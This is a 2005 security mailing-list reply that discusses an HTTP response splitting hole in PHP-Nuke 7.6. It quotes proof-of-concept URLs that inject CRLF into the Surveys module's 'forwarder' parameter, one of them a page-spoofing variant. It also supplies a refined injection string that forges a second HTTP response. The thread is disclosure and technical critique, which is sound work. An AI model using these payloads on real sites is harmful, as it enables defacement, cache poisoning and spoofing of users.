Re: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
On 16 Apr 2005 at 3:30, dcrab wrote:
[...]
> A simple POC can be as follows,
>
> http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO
> I AM VULNERABLE TO HTTP RESPONSE
> SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
This particular injection isn't really HTTP response splitting. It's
basically HTTP header+body injection (and it contains raw spaces in
the URL, which is not a good idea). No second (valid) HTTP response
is created here. Moreover, since the context is a 302 redirecrtion
HTTP response, the HTML data is not rendered by IE (see the thread
?CSS before redirect? by Thomas Schreiber (BugTraq posting),
http://www.securityfocus.com/archive/107/336744).
If you simply want to demostrate that HTTP header injection is
possible (which usually means that HTTP response splitting is
posisble), you may want to use the Set-Cookie header (this technique
is described in my writeup "Detecting and Testing HTTP Response
Splitting Using a Browser"
(http://www.securityfocus.com/archive/107/378523).
Of course, it IS possible to turn this attack into HTTP response
splitting, e.g. by sending the following injection string:
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2061%0d%0a%0d%0a%3Chtml%3EHELLO%20I%20AM%20VULNERABLE%20TO%20
HTTP%20RESPONSE%20SPLITTING%3C/html%3E
>
> A more serious version involving Cross user defacement, cache poisoning and
> page hijacking can be,
>
> http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3E<title>This
> is a spoofed site </title> <body bgcolor=black><font size=10 color=blue>
> Welcome to my PHP Nuke Website, This is a spoofed page that you are seeing
> and can be used for great evils details about which can be read in
> http://www.digitalparadox.org/papers.ah Http Response Splitting by Diabolic
> Crab. </center> Feel free to contact me about this vulnerablitiy at dcrab
> {at} hackerscenter [dot] com<font
color=black>%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
>
>
Again, the above holds.
Thanks,
-Amit